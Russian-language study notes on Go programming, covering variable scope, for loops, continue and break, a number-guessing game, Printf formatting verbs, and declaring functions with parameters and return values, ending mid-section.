Сначала нужные пакеты включаются в директиву import. 
Мы добавляем код удаления символа новой строки из входного текста, после чего передаем ввод функции ParseFloat 
и сохраняем полученное значение float64 в новой переменной grade.
Как и в случае с ReadString, мы проверяем, возвращает ли ParseFloat значение ошибки. 
В этом случае программа сообщает об ошибке и аварийно завершается.
Наконец, мы обновляем условную команду, чтобы она проверяла число в grade, а не строку в input. 
На этом все ошибки, происходящие от сравнения строки с числом, должны быть исправлены.
При запуске обновленной программы мы уже не получаем сообщение о несовпадении типов string и int. 
Но тут есть и еще ошибки :)

Код Go делится на блоки (сегменты). 
Блоки обычно заключаются в фигурные скобки ({}) и могут существовать как на уровне файлов с исходным кодом, 
так и на уровне пакетов. 
Блоки могут вкладываться друг в друга.
Тела функций и условных команд тоже являются блоками. 
Понимание этого — ключ к решению нашей проблемы с переменной status

29. Блоки и область видимости переменной

Каждая объявленная переменная обладает областью видимости: частью кода, в которой она «видна».
К объявленной переменной можно обращаться в любой точке ее области видимости, 
однако при попытке обратиться к ней за пределами этой области видимости вы получите сообщение об ошибке.
Область видимости переменной состоит из блока, в котором она была объявлена, и всех блоков, вложенных в этот блок.

Пример кода:
package main
import "fmt"
var packageVar = "package"
func main() {
        var functionVar = "function"
        if true {
                var conditionalVar = "conditional"
                fmt.Println(packageVar) //все еще в области видимости
                fmt.Println(functionVar) //все еще в области видимости
                fmt.Println(conditionalVar) //все еще в области видимости _ область видимости conditionalVar
        } //Область видимости conditionalVar
        fmt.Println(packageVar) //Все еще в области видимости 
        fmt.Println(functionVar) //Все еще в области видимости 
        fmt.Println(conditionalVar) //не определенно не в области видимости
}//Область видимости functionVar)


Ошибка:
# command-line-arguments
./02_x123.go:17:14: undefined: conditionalVar

Области видимости переменных в приведенном выше коде:
- Областью видимости packageVar является весь пакет main. 
  К packageVarможно обращаться в любой точке любой функции, определенной в пакете. 
- Областью видимости functionVar является вся функция, в которой объявлена переменная, включая блок if, вложенный в эту функцию.
- Область видимости conditionalVar ограничивается блоком if. 
  При попытке обратиться к conditionalVar после закрывающей фигурной скобки } блока if вы получите сообщение об ошибке,
  в котором говорится, что переменная conditionalVar не определена!

30. Блоки и области видимости переменной:


Пример кода:
package main
import (
        "bufio"
        "log"
        "os"
        "strconv"
        "strings"
        "fmt"
)
func main() {
        fmt.Print("Enter a grage: ")
        reader := bufio.NewReader(os.Stdin)
        input, err := reader.ReadString('n')
        if err != nil {
                log.Fatal(err)
        }
        input = strings.TrimSpace(input)
        grade, err := strconv.ParseFloat(input, 64)
        if err != nil {
                log.Fatal(err)
        }
        if grade >= 60 {
                status := "passing"
        } else {
                status := "failing"
        }
        fmt.Println("A grade of", grade, "is", status)
}
Ошибка:
undefined: status 


Рассмотрим проблему: 
func main() { // Начало блока фунции
// Omitting code up here...
if grade >= 60 {
 status := "passing" //Блок if
} else {
 status := "failing" // Блок else
} 
fmt.Println("A grade of", grade, "is", status) // В этой области видимости переменная "status" НЕ ОПРЕДЕЛЕНА!
//Конец блока функции

Проблема решается перемещением объявления переменной status из блоков условных команд в блок функции. 
После этого переменная status будет находиться в области видимости как во вложенных условных блоках, так и в конце блока функции.


Решение:
Пример кода:
package main
import (
        "bufio"
        "log"
        "os"
        "strconv"
        "strings"
        "fmt"
)
func main() { //Функция «main» вызывается при запуске программы.
        fmt.Print("Enter a grage: ") //Запрашиваем у пользователя значение.
        reader := bufio.NewReader(os.Stdin) //Создаем bufio.Reader для чтения ввода с клавиатуры.
        input, err := reader.ReadString('n') //Читает данные, вводимые пользователем до нажатия клавиши Enter
        // Если произошла ошибка, вывести сообщение и прервать работу программы.
        if err != nil {
                log.Fatal(err)
        }
        input = strings.TrimSpace(input) //Удалить символ новой строки из введенных данных.
        grade, err := strconv.ParseFloat(input, 64) //Преобразовать введенную строку в значение float64 (число).
        //Если произошла ошибка, вывести сообщение и прервать выполнение программы.
        if err != nil {
                log.Fatal(err)
        }
        var status string  //Переменная «status» объявляется здесь, чтобы она находилась в области видимости в границах функции. 
        //Если значение grade равно 60 и более, переменной status присваивается строка «passing». 
        В противном случае переменной присваивается строка «failing».
        if grade >= 60 {
                status = "passing" // так как перемену мы задали выше тут мы уже используем присвоение
        } else {
                status = "failing" // так как перемену мы задали выше тут мы уже используем присвоение
        }
        fmt.Println("A grade of", grade, "is", status)
}                        |                         |
                         |                         и результат сдачи экзамена
                         Выводим введенное значение...

Вы можете запускать программу сколько угодно раз. 
Введите значение меньше 60, и получите сообщение о том, что экзамен не сдан. 
Введите значение больше 60, и программа сообщит, что экзамен сдан успешно. 
Кажется, все работает!

31. Только одна переменная в коротком объявлении должна быть новой?

Пример:
input, err := reader.ReadString('n')
grade, err := strconv.ParseFloat(input, 64)
В этом коде есть странность. 
До этого говорили, что переменную нельзя объявить дважды. 
Тем не менее переменная err встречается в двух разных коротких объявлениях!

Действительно, если дважды объявить одно имя переменной в одной области видимости, компилятор выдаст сообщение об ошибке:
a := 1
a := 2
Ошибка компиляции:
# command-line-arguments
./05_x1.go:7:11: no new variables on left side of :=

Но если хотя бы одно имя переменной в коротком объявлении является новым, такая запись допустима. 
Новые имена переменных интерпретируются как объявление, а существующие — как присваивание.

У этого специального подхода есть причина: 
многие функции Go возвращают несколько значений. 
Было бы неприятно объявлять отдельно все переменные только потому, что вы захотели повторно использовать одну из них.
Вместо этого Go позволяет использовать короткие объявления переменных, даже если для одной из переменных в действительности выполняется присваивание

Пример:
Вариант с отдельными объявлениями всех переменных работает, но, к счастью, поступать так не обязательно...
var a, b float64
var err error
a, err = strconv.ParseFloat("1.23", 64)
b, err = strconv.ParseFloat("4.56", 64)
Можно просто воспользоваться синтаксисом короткого объявления переменных
a, err := strconv.ParseFloat("1.23", 64) - Объявляем «a» и «err».
b, err := strconv.ParseFloat("4.56", 64) - Объявляем «b» и присваиваем «err».
fmt.Println(a, b, err)


32. Генерация случайного числа / пакет ("math/rand")

Пакет math/rand содержит функцию Intn, которая сгенерирует случайное число за нас, поэтому в программу следует импортировать math/rand. 
После этого можно будет вызвать функцию rand.Intn для генерирования случайного числа



Пример кода:
package main
import (
        "fmt"
        "math/rand"
)
func main() {
        target := rand.Intn(100) + 1
        fmt.Println(target)
}
Передайте число функции rand.Intn, и функция вернет случайное число в диапазоне от 0 до переданного числа. 
Другими словами, если передать аргумент 100, будет получено случайное число в диапазоне 0–99. 
Так как нам требуется число в диапазоне 1–100, остается прибавить 1 к полученному случайному значению.
Результат сохраняется в переменной target. 
Пока мы ограничимся простым выводом переменной target.
Попытавшись запустить программу в таком виде, вы получите случайное число. 
Однако вы будете получать одно и то же случайное число раз за разом! 

Чтобы получать разные случайные числа, необходимо передать значение функции rand.Seed. 
Тем самым вы «инициализируйте» генератор случайных чисел, то есть предоставляете значение, которое будет использоваться для генерирования других случайных чисел.
Но если передавать одно и то же значение инициализации, то и случайные значения будут теми же и мы снова вернемся к тому, с чего начинали.
Ранее было показано, что функция time.Now выдает значение Time, представляющее текущую дату и время. 
Его можно использовать для того, чтобы получать разное значение инициализации при каждом запуске программы.

Пример кода:
package main
import (
"fmt"
"math/rand"
"time"
)
func main() {
seconds := time.Now().Unix()
rand.Seed(seconds)
target := rand.Intn(100) + 1
fmt.Println(target)
}

Функция rand.Seed ожидает получить целое число, поэтому передать ей значение Time напрямую не удастся. 
Вместо этого для Time следует вызвать метод Unix, который преобразует его в целое число. 
(А конкретно значение будет преобразовано в формат времени Unix — целое количество секунд, прошедших с 1 января 1970 года. Впрочем, запоминать это не нужно.) 
Это число передается rand.Seed.

33. Путь импортирования пакета

Пакет math/rand содержит функцию Intn, которая сгенерирует случайное число за нас, поэтому в программу следует импортировать math/rand. 
После этого можно будет вызвать функцию rand.Intn для генерирования случайного числа
Упоминая math/rand, мы имеем в виду путь импортирования пакета, а не его имя. 
Путь импортирования — всего лишь уникальная строка, которая идентифицирует пакет и используется в директиве import. 
После того как пакет будет импортирован, к нему можно обращаться по имени пакета.

Для всех пакетов, которые использовались до сих пор, путь импортирования совпадал с именем пакета. 
Несколько примеров:
Путь импортирования         Имя пакета
"fmt"                       fmt
"log"                       log
"strings"                   strings

Однако путь импортирования и имя пакета могут различаться. 
Многие пакеты Go классифицируются по категориям — например, «сжатие» или «комплексные вычисления».
По этой причине они часто группируются
по префиксам пути импортирования (например, "archive/" или "math/"). (Их можно рассматривать как аналоги путей каталогов на жестком диске.)
Несколько примеров:
Путь импортирования         Имя пакета
"archive"                   archive
"archive/tar"               tar
"archive/zip"               zip
"math"                      math
"math/cmplx"                cmplx
"math/rand"                 rand

Язык Go не требует, чтобы имя пакета было как-то связано с путем импортирования.
Но по соглашению последний (или единственный) сегмент пути импортирования также используется в качестве имени пакета. 
Таким образом, для пути импортирования "archive" именем пакета также будет archive, а для пути импортирования "archive/zip" будет использоваться имя пакета zip.

Именно по этой причине в директиве import используется путь "math/rand", а в функции main имя пакета — rand.

34. Циклы / Цикл for


Пример кода:
package main
import "fmt"
func main() {
        for x := 4; x <= 6; x++ {
                fmt.Println("x is now", x)
        }
}


Разберем:
for x := 4; x <= 6; x++ {
 fmt.Println("x is now", x)
}

for - ключевое слово
x:=4 - команда инициализации
x < 6 - Условное выражение
x++ - Операция приращения
{ - начало блока цикла
}конец блока цикла
fmt.Println("x is now", x) - тело блока цикла

Циклы всегда начинаются с ключевого слова for. В одной из стандартных разновидностей циклов за for следуют три сегмента кода, которые управляют циклом:
- Команда инициализации, обычно используемая для инициализации переменной.
- Условное выражение, которое определяет, когда следует прервать выполнение цикла.
- Оператор приращения, который выполняется после каждой итерации цикла.

Команда инициализации часто используется для инициализации переменной; 
условное выражение обеспечивает выполнение цикла до того, как переменная достигнет определенного значения, и оператор приращения обновляет значение этой переменной. 
Например, в приведенном фрагменте переменная t инициализируется значением 3, условие обеспечивает выполнение цикла, пока t > 0, 
а оператор приращения уменьшает t на 1 при каждом выполнении цикла. 
В конечном итоге t уменьшается до 0 и цикл завершается.

package main
import "fmt"
func main() {

        for t := 3; t > 0; t-- {
                fmt.Println(t)
        }
        fmt.Println("Blastoff!")
}


Операторы ++ и -- часто встречаются в командах приращения циклов.
++ увеличивает значение переменной на 1, а -- уменьшает его на 1.
Примеры кода:
x := 0
x++
fmt.Println(x)
x++
fmt.Println(x)
x--
fmt.Println(x)

for x := 1; x <= 3; x++ {
fmt.Println(x)
}

for x := 3; x >= 1; x-- {
fmt.Println(x)
}


В языке Go также поддерживаются операторы присваивания += и -=. 
Они получают значение в переменной, добавляют или вычитают другое значение, а затем присваивают результат той же переменной.
Примеры кода:
x := 0
x += 2
fmt.Println(x)
x += 5
fmt.Println(x)
x -= 3
fmt.Println(x)

Операторы += и -= также могут использоваться в циклах для изменения переменной на величину, отличную от 1.
for x := 1; x <= 5; x += 2 {
fmt.Println(x)
}

for x := 15; x >= 5; x -= 5 {
fmt.Println(x)
}


Когда цикл завершается, выполнение программы продолжится с команды, следующей за блоком цикла. 
При этом цикл продолжает выполняться, пока условное выражение остается истинным. 
Этот факт может иметь нежелательные последствия; 
ниже приведены примеры циклов, которые выполняются бесконечно или не выполняются ни одного раза:

бесконечный цикл:
for x := 1; true; x++ {
fmt.Println(x)
}

Цикл не выполнится никогда:
for x := 1; false; x++ {
fmt.Println(x)
}


Будьте осторожны!
Цикл может выполняться бесконечно.
В этом случае ваша программа никогда не остановится сама.
Если это случится, в активном окне терминала нажмите клавишу Control одновременно с клавишей C, чтобы прервать выполнение программы.


Операторы инициализации и приращения необязательны.
При желании операторы инициализации и приращения в заголовке цикла for можно опустить, 
оставив только условное выражение (хотя вы должны проследить за тем, чтобы условие в какой-то момент становилось ложным, иначе в программе возникнет бесконечный цикл).

x := 1
for x <= 3 {
fmt.Println(x)
x++
}

x := 3
for x >= 1 {
fmt.Println(x)
x--
}

35. Циклы и области видимости

Как и в случае с условными командами, область видимости любых переменных, объявленных в блоке цикла, 
ограничивается этим блоком (хотя команда инициализации, условное выражение и оператор приращения также могут считаться частью этой области видимости).

Пример:
for x := 1; x <= 3; x++ {
y := x + 1
fmt.Println(y) //Остается в области видимости...
}
fmt.Println(y) //Ошибка: вне области видимости! (undefined: y)
Ошибка:
# command-line-arguments
./13_loop.go:11:14: undefined: y

Пример:
for x := 1; x <= 3; x++ {
fmt.Println(x) //Остается в области видимости...
}
fmt.Println(x) //Ошибка: вне области видимости! (undefined: x)
Ошибка:
# command-line-arguments
./15_loop.go:9:14: undefined: x

Как и в случае с условными командами, любые переменные, объявленные до начала цикла, 
находятся в области видимости в заголовке и блоке цикла и остаются в области видимости после выхода из цикла.

var x int //Объявляется за пределами цикла
for x = 1; x <= 3; x++ {  //Объявлять x здесь не нужно, просто присвойте значение
fmt.Println(x) //Остается в области видимости.
}
fmt.Println(x) //Остается в области видимости.

36. Сломай и изучи!

Пример кода:
package main
import "fmt"
func main() {
        for x := 1; x <= 3; x++ {
                fmt.Println(x)
        }
}


0. Добавить круглые скобки после ключевого слова for
for (x := 1; x <= 3; x++)
Ошибка:
# command-line-arguments
./17_dz.go:7:9: syntax error: unexpected :=, expecting )
Что:
Другие языки требуют, чтобы управляющая часть цикла for заключалась в круглые скобки. 
Однако язык Go не только этого не требует, но и запрещает.

1. Удалить : из команды инициализации x = 1
Ошибка:
# command-line-arguments
./17_dz.go:9:6: undefined: x
./17_dz.go:10:15: undefined: x
Что:
Если только вы не присваиваете значение переменной, уже объявленной во внешней области видимости (а это бывает довольно редко), 
команда инициализации должна быть объявлением, а не присваиванием.

2. Удалить = из условного выражения x < 3
Выражение x<3 становится ложным , когда значение x становится равным 3 (тогда как выражение x<=3 все еще остается истинным). 
Таким образом, цикл будет вести отсчет только до 2.

3. Использовать противоположный оператор сравнения в условном выражении x >= 3
Так как условие будет ложным уже в самом начале цикла (x инициализируется 1, что меньше 3), цикл не будет выполнен ни одного раза

4. Заменить оператор приращения x++ на x--
Переменная x начинает отсчет с 1 (1, 0, -1, -2 и т. д.). Так как она никогда не станет больше 3, цикл будет выполняться бесконечно

5. Переместить команду fmt.Println(x) за пределы блока цикла
Переменные, объявленные в команде инициализации или в блоке цикла, остаются в области видимости только в пределах блока цикла
# command-line-arguments
./17_dz.go:15:15: undefined: x

37. Пропуск частей цикла командами continue и break

В Go предусмотрены два ключевых слова для управления циклом. 
Первое — continue — осуществляет немедленный переход к следующей итерации цикла; 
при этом дальнейший код текущей итерации в блоке цикла пропускается. 
for x := 1; x <= 3; x++ {
fmt.Println("before continue")
continue
fmt.Println("after continue")
}
В приведенном выше примере строка "after continue" никогда не выводится, 
потому что ключевое слово continue всегда выполняет переход к началу цикла — до того, как отработает второй вызов Println.


Второе ключевое слово break приводит к немедленному выходу из цикла. Дальнейший код в блоке цикла не отрабатывается, другие итерации цикла не выполняются. 
Управление передается первой команде, следующей за циклом.
for x := 1; x <= 3; x++ {
fmt.Println("before break")
break
fmt.Println("after break")
}
fmt.Println("after loop")
Здесь при первой итерации цикла выводится сообщение "before break", после чего команда break немедленно прерывает цикл;
сообщение "after break" не выводится, и цикл не выполняется повторно (хотя без break он бы выполнился еще два раза).
Управление передается команде, следующей за циклом.

38. Комментарии (guess)

//guess - игра, в которой игрок должен отгадать случайное число.
package main

import (
        "bufio"     // пакет отвечает за input keyboard
        "fmt"       // вывод в консоль
        "log"       // работает с ошибками err
        "math/rand" // отвечает за генерацию чисел
        "os"        // использование возможностей ОС
        "strconv"   // работа со строками, преобразование
        "strings"   // работа со строками
        "time"      // работает со временем, используется
)

func main() {
        seconds := time.Now().Unix() //Получает текущую дату и время в виде целого числа.
        rand.Seed(seconds)           // Инициализируем генератор случайных чисел.
        target := rand.Intn(100) + 1 // Генерируем целое число 1 от 100
        fmt.Println("I've chosen a random number between 1 and 100.")
        fmt.Println("Can you guess it?")

        reader := bufio.NewReader(os.Stdin) // Создаем bufio.Reader для чтения ввода с клавиатуры.
        success := false                    // Настроить программу, чтобы по умолчанию выводилось сообщение о проигрыше.

        for guesses := 0; guesses < 10; guesses++ {
                fmt.Println("You have", 10-guesses, "guesses left.")
                fmt.Print("Make a guess: ")           // Запрашиваем число.
                input, err := reader.ReadString('n') // Прочитать данные, введенные пользователем до нажатия Enter.
                if err != nil {
                        // Если произошла ошибка программа выводит сообщение и завершается
                        log.Fatal(err)
                }
                input = strings.TrimSpace(input)  // Удаляем символ новой строки.
                guess, err := strconv.Atoi(input) // Введенная строка преобразуется в целое число
                if err != nil {
                        // Если произошла ошибка программа выводит сообщение и завершается
                        log.Fatal(err)
                }
                if guess < target {
                        // если введенное значение меньше загаданного, сообщить об этом.
                        fmt.Println("Oops. Your guess was LOW")
                } else if guess > target {
                        // Если введено сообщение больше загаданного, сообщить об этом
                        fmt.Println("Oops.Your guss was HIGH")
                } else {
                        // В противном случае введенное значение должно быть правильным...
                        success = true //Предотвращает вывод сообщения о проигрыше.
                        fmt.Println("Good job! You guessed it")
                        break //Выход из цикла
                }
        }
        if !success {
                // Если переменная «success» равна false, сообщить игроку загаданное число.
                fmt.Println("Sorry, you diddn't guess my number. It was:", target)
        }
}


39. Проведем промежуточные итоги

0. Метод — разновидность функций, связываемых со значениями конкретного типа.

1. Go интерпретирует все символы от // до конца строки как комментарий и игнорирует их.

2. Многострочные комментарии начинаются с /* и завершаются */. 
Все символы между этими маркерами, включая символы новой строки, игнорируются.

3. Традиционно в начало любой программы включается комментарий, который объясняет, что делает программа.

4. В отличие от большинства языков программирования, Go допускает множественные возвращаемые значения из вызова функции или метода.

5. Одно из стандартных применений множественных возвращаемых значений — возвращение основного результата функции и второго значения, 
которое сообщает, произошла ли ошибка при вызове. 

6. Чтобы проигнорировать значение без реального использования в программе, воспользуйтесь пустым идентификатором _. 
Пустой идентификатор может использоваться вместо любой переменной в любой команде присваивания. 

7. Постарайтесь не присваивать переменным имена, совпадающие с именами типов, функций или пакетов; 
это приведет к замещению (переопределению) элемента с тем же именем 

8. Функции, условные команды и циклы содержат блоки кода, заключенные в фигурные скобки {}.

9. Файлы и пакеты также образуют блоки, хотя содержащийся в них код и не заключается в фигурные скобки {}.

10. Область видимости переменной ограничивается блоком, в котором она определяется, а также всеми блоками, вложенными в этот блок.

11. Кроме имени, пакет может иметь путь импортирования, который должен указываться при импортировании. 

12. Ключевое слово continue осуществляет переход к следующей итерации цикла. 

13. Ключевое слово break полностью прерывает выполнение цикла. 

14. Условные команды 
Условные команды обеспечивают выполнение блока кода только в случае истинности заданного условия.
Вычисляется результат выражения, и если его результат равен true, то выполняется тело условного блока.
Go поддерживает множественное ветвление в условиях. 
Такие команды записываются в форме if...else if...else.

15. Циклы
Циклы предназначены для многократного выполнения блока кода.
Одна из распространенных разновидностей циклов начинается
с ключевого слова «for», за которым следует команда инициализации переменной; 
условное выражение, которое определяет, когда цикл должен прерваться; 
и оператор приращения, выполняемый после каждой итерации цикла.


40. Функции вступление

Допустим есть код:
/*Допустим, вы хотите вычислить, сколько
краски потребуется для покрытия нескольких стен.
Производитель указывает, что одного литра краски хватает на 10 квадратных метров.
Следовательно, для определения количества литров необходимо вычислить площадь каждой стены,
умножив ее ширину (в метрах) на высоту, а затем разделить результат на 10.*/
package main
import "fmt"
func main() {
        var width, height, area float64
        //Вычислить расход краски для первой стены.
        width = 4.2
        height = 3.0
        area = width * height                   //Вычисляем площадь стены.
        fmt.Println(area/10.0, "liters needed") //Вычисляем, сколько краски понадобится для этой площади.
        //Сделать то же для этой площади. самое для второй стены.
        width = 5.2
        height = 3.5
        area = width * height
        fmt.Println(area/10.0, "liters needed") //Вычисляем, сколько краски понадобится для этой площади.
}

Такое решение работает, но у него есть пара недостатков:
0. Похоже, произведение вычисляется с небольшой погрешностью, поэтому выводимые значения выглядят немного странно. 
Хватило бы пары цифр в дробной части.
1. В этой версии присутствует большое количество повторяющегося кода.
Если мы добавим новые стены, все станет еще хуже.

41. Форматирование вывода функциями Printf и Sprintf

Числа с плавающей точкой в языке Go хранятся с высокой степенью точности. 
Если вам потребуется вывести такое число, результат может быть громоздким и неудобным:
fmt.Println("About one-third:", 1.0/3.0)

Для решения подобных проблем форматирования в пакете fmt имеется функция
Printf (сокращение от «print, with formatting», то есть «вывод с форматированием»).
Функция получает строку и вставляет в нее одно или несколько значений, отформатированных заданным способом. 
После этого функция выводит полученную строку.
fmt.Printf("About one-third: %0.2fn", 1.0/3.0)

Функция Sprintf (также из пакета fmt) в целом похожа на Printf, но она возвращает отформатированную строку, а не выводит ее.
resultString := fmt.Sprintf("About one-third: %0.2fn", 1.0/3.0)
fmt.Printf(resultString)

42. Глаголы форматирования

В первом аргументе Printf передается строка, которая будет использоваться для форматирования вывода. 
Большая часть вывода форматируется так, как он выглядит в строке.
Однако знаки процента (%) рассматриваются как начало глагола форматирования — части строки, которая будет заменена значением в определенном формате. 
Остальные аргументы определяют значения, которые будут форматироваться с этими глаголами.
                 Глагол  Глагол             Значение   Значение
                 |       |                      |      |
fmt.Printf("The %s cost %d cents each.n", "gumballs", 23)
fmt.Printf("That will be $%f please.n", 0.23 * 5)
                          |              --------     
                          Глагол             |
                                             Значение

Глагол Вывод
%f     Число с плавающей точкой
%d     Десятичное целое число
%s     Строка
%t     Логическое значение (true или false)
%v     Произвольное значение (подходящий формат выбирается на основании типа передаваемого значения)
%#v    Произвольное значение, отформатированное в том виде, в котором оно отображается в коде Go
%T     Тип переданного значения (int, string и т. п.)
%%     Знак процента (литерал)


fmt.Printf("A float: %fn", 3.1415)
fmt.Printf("An integer: %dn", 15)
fmt.Printf("A string: %sn", "hello")
fmt.Printf("A boolean: %tn", false)
fmt.Printf("Values: %v %v %vn", 1.2, "t", true)
fmt.Printf("Values: %#v %#v %#vn", 1.2, "t", true)
fmt.Printf("Types: %T %T %Tn", 1.2, "t", true)
fmt.Printf("Percent sign: %%n")

Обратите внимание: в конец каждой форматной строки включается символ новой строки в виде служебной последовательности n. 
Дело в том, что в отличие от Println, Printf не добавляет символ новой строки автоматически.

Особого внимания заслуживает глагол формата %#v.
Так как он выводит значения в том виде, в котором они отображаются в коде Go, 
%#v позволяет выводить значения, которые обычно остаются скрытыми в выводе. 
Например, в следующем примере %#v показывает пустую строку, 
символ табуляции и символ новой строки — все эти символы остаются невидимыми при выводе с %v. 

%v выводит все значения...
…но только с %#v вы можете фактически их увидеть!
fmt.Printf("%v %v %v", "", "t", "n")
fmt.Printf("%#v %#v %#v", "", "t", "n")


Форматирование значений ширины
Глагол форматирования %f предназначен для чисел с плавающей точкой. 
Используем его для форматирования количества краски.
fmt.Printf("%f liters neededn", 1.8199999999999998)

Предположим, вы хотите отформатировать данные в форме текстовой таблицы. 
Необходимо позаботиться о том, чтобы отформатированное значение занимало минимальное количество столбцов, а столбцы правильно выравнивались.
Минимальная ширина может задаваться после знака процента в глаголе форматирования. 
Если аргумент, соответствующий этому глаголу, короче минимальной длины, значение дополняется пробелами до достижения минимальной ширины.

Пример кода таблицы:
fmt.Printf("%12s | %sn", "Product", "Cost in Cents")
fmt.Println("-----------------------------")
fmt.Printf("%12s | %2dn", "Stamps", 50)
fmt.Printf("%12s | %2dn", "Paper Clips", 5)
fmt.Printf("%12s | %2dn", "Tape", 99)



Форматирование с дробными значениями ширины
   Минимальная ширина всего числа. 
   |  Ширина дробной части.
   | |
  %5.3f
  |   |
  |   Тип глагола форматирования.
  Начало спецификатора форматирования.

Минимальная ширина всего числа включает дробную часть и точку-разделитель. 
Если она указана, то более короткие числа будут дополняться пробелами в начале до достижения указанной ширины.
Если она не указана, то пробелы не добавляются.
Ширина после точки определяет количество цифр в дробной части.
Если выводимое число имеет больше разрядов, оно округляется (в большую или меньшую сторону) до заданного количества разрядов.

fmt.Printf("%%7.3f: %7.3fn", 12.3456)
fmt.Printf("%%7.2f: %7.2fn", 12.3456)
fmt.Printf("%%7.1f: %7.1fn", 12.3456)
fmt.Printf("%%.1f: %.1fn", 12.3456)
fmt.Printf("%%.2f: %.2fn", 12.3456)

Последний формат "%.2f" позволяет взять число с плавающей точкой с произвольной точностью 
и округлить его до двух цифр в дробной части. (Также при этом число не дополняется лишними пробелами.)


43. Функции

Объявление функций
ключевое слово
 |     Имя функции
 |     |
func sayHi() { - начало блока функции
fmt.Println("Hi!") - тело блока функции
} 
|
Конец блока функции.
 
После того как функция будет объявлена, вы сможете вызывать ее в пакете — для этого достаточно указать ее имя и пару круглых скобок. 
При этом будет выполнен код функции.

Обратите внимание: при вызове sayHi перед именем функции не ставится имя пакета и точка. 
При вызове функции, определенной в текущем пакете, указывать имя пакета не нужно. 
(А вызов main.sayHi() приведет к ошибке компиляции.)

Пример использования:
package main
import "fmt"
func sayHi() {
        fmt.Println("Hi!")
}
func main() {
        for x := 4; x > 1; x-- {
                sayHi()
        }
}

Имена функций подчиняются тем же правилам, что и имена переменных:
1.Имя должно начинаться с буквы, за которой следует произвольное количество букв и цифр. 
(При нарушении этого правила выдается ошибка компиляции.)
2. Функция, имя которой начинается с буквы верхнего регистра, экспортируется и может  использоваться вне текущего пакета. 
Если функция должна использоваться только внутри текущего пакета, начните ее имя с буквы нижнего регистра.
3. Имена, состоящие из нескольких слов, должны записываться в верблюжьем регистре.
Допускается:
double
addPart - Если имя состоит из нескольких слов, используется верблюжий регистр.
Publish - Если функция должна использоваться другими пакетами, ее имя начинается с буквы верхнего регистра.

Недопустимо:
2times - Имя не может начинаться с цифры.
addpart - Нарушает соглашения; следует использовать верблюжий регистр
posts.publish - Недопустимо; к функции нельзя обращаться из другого пакета, если ее имя не начинается с буквы верхнего регистра.

44. Объявление параметров функции

Если вы хотите, чтобы при вызове ваших функций передавались аргументы, необходимо объявить один или несколько параметров. 
Параметром называется переменная, локальная по отношению к функции, значение которой задается при вызове функции.
            Имя параметра
                 |   тип      Имя   тип
                 |    |        |    |
func repeatLine(line string, times int) {
for i := 0; i < times; i++ {
fmt.Println(line)
}
Параметр — переменная, локальная по отношению к функции, значение которой задается при вызове функции.

В объявлении функций в круглых скобках можно объявить один или несколько параметров, разделенных запятыми. 
Как и с любыми другими переменными, для каждого объявляемого параметра должно быть указано имя, за которым следует тип (float64, bool и т. д.).

Если функция имеет определенные параметры, нужно будет передать соответствующий набор аргументов при ее вызове.
Когда функция запускается, каждому параметру присваивается копия значения в соответствующем аргументе. 
Эти значения параметров затем используются в функциональном блоке кода

Пример:
package main
import "fmt"
func repeatLine(line string, times int) {
        for i := 0; i < times; i++ {
                fmt.Println(line)
        }
}
func main() {
        repeatLine("helo", 10)
}

45. И вот мы научились использовать функции исправим код про краску:

package main

import "fmt"

func paintNeeded(width float64, height float64) {
        area := width * height
        fmt.Printf("%.2f liters neededn", area/10.0)
}

func main() {
        paintNeeded(4.2, 3.0)
        paintNeeded(5.2, 3.5)
        paintNeeded(5.0, 3.3)


46. Функции и области видимости переменных

Функция paintNeeded объявляет переменную area в блоке функции:
func paintNeeded(width float64, height float64) {
area := width * height                              // Объявляем переменную area
fmt.Printf("%.2f liters neededn", area/10.0) // Обращение к переменной area
}

Как и в случае с блоками условных команд и циклов, переменные, объявленные в блоке функции, 
остаются в области видимости только в границах блока функции. 
Таким образом, если вы попытаетесь обратиться к переменной area вне функции paintNeeded, компилятор сообщит об ошибке:

func paintNeeded(width float64, height float64) {
area := width * height
fmt.Printf("%.2f liters neededn", area/10.0)
}
func main() {
paintNeeded(4.2, 3.0)
fmt.Println(area)
}

Ошибка:
# command-line-arguments
./11_func_err.go:11:14: undefined: area


Но как и в случае с блоками условных команд и циклов переменные, объявленные за пределами функции, будут находиться в области видимости внутри этого блока. 
Это означает, что переменную можно объявить на уровне пакета и обращаться к ней из любой функции в этом пакете.

package main
import "fmt"
var metersPerLiter float64 // Если переменная объявляется на уровне пакета...
func paintNeeded(width, height float64) float64 {
area := width * height
return area / metersPerLiter //здесь она остается в области видимости.
}
func main() {
metersPerLiter = 10.0 //и здесь остается в области видимости.
fmt.Printf("%.2f", paintNeeded(4.2, 3.0))
}

47. Возвращаемые значения функций

Допустим, мы хотим вывести количество краски, необходимой для покрытия всех стен, которые мы собираемся покрасить. 
Сделать это с текущей версией функции paintNeeded не удастся; она лишь выводит результат, а потом отбрасывает его!

func paintNeeded(width float64, height float64) {
area := width * height
fmt.Printf("%.2f liters neededn", area/10.0) //Выводит расход краски, но вычисленное значение будет потеряно!
}

Итак, пересмотрим функцию paintNeeded, чтобы она возвращала значение.
Тогда при ее вызове можно будет вывести полученное значение, провести дополнительные вычисления или сделать что-то еще.

Функция всегда возвращает значение конкретного типа (и только этого типа).
Чтобы объявить, что функция возвращает значение, добавьте тип возвращаемого значения после параметров в объявлении функции. 
Затем добавьте в блок функции ключевое слово return, за которым следует возвращаемое значение.

                               Тип возвращаемого значения.
                               |
func double(number float64) float64 {
return number * 2
}  |    ----------
   |        |
   |        Возвращаемое значение.      
   |
   Ключевое слово return.

После этого результат вызова функции можно присвоить переменной, передать другой функции или сделать что-то еще.
package main
import "fmt"
func double(number float64) float64 {
        return number * 2
}
func main() {
        dozen := double(6.0) //Возвращаемое значение присваивается переменной
        fmt.Println(dozen)
        fmt.Println(double(4.2)) //Возвращаемое значение передается другой функции.
}


При выполнении команды return функция немедленно возвращает управление, а следующий за ней код не выполняется. 
Ее можно использовать в сочетании с командой if для выхода из функции в том случае, 
если выполнение остального кода стало бессмысленным (из-за ошибки или другого условия).

func status(grade float64) string {
if grade < 60.0 {
return "failing" // Если экзамен провален, немедленно вернуть.
}
return "passing" // Выполняется только в том случае, если grade >= 60.
}
func main() {
fmt.Println(status(60.1))
fmt.Println(status(59))
}

Это означает, что при включении команды return, не являющейся частью блока if, какой-то код может не выполняться ни при каких условиях.
Такая ситуация почти наверняка свидетельствует об ошибке в коде, поэтому Go помогает обнаруживать подобные ситуации: 
компилятор требует, чтобы любая функция с объявленным возвращаемым типом завершалась командой return. 
Если функция завершается любой другой командой, это приведет к ошибке компиляции.

Пример:
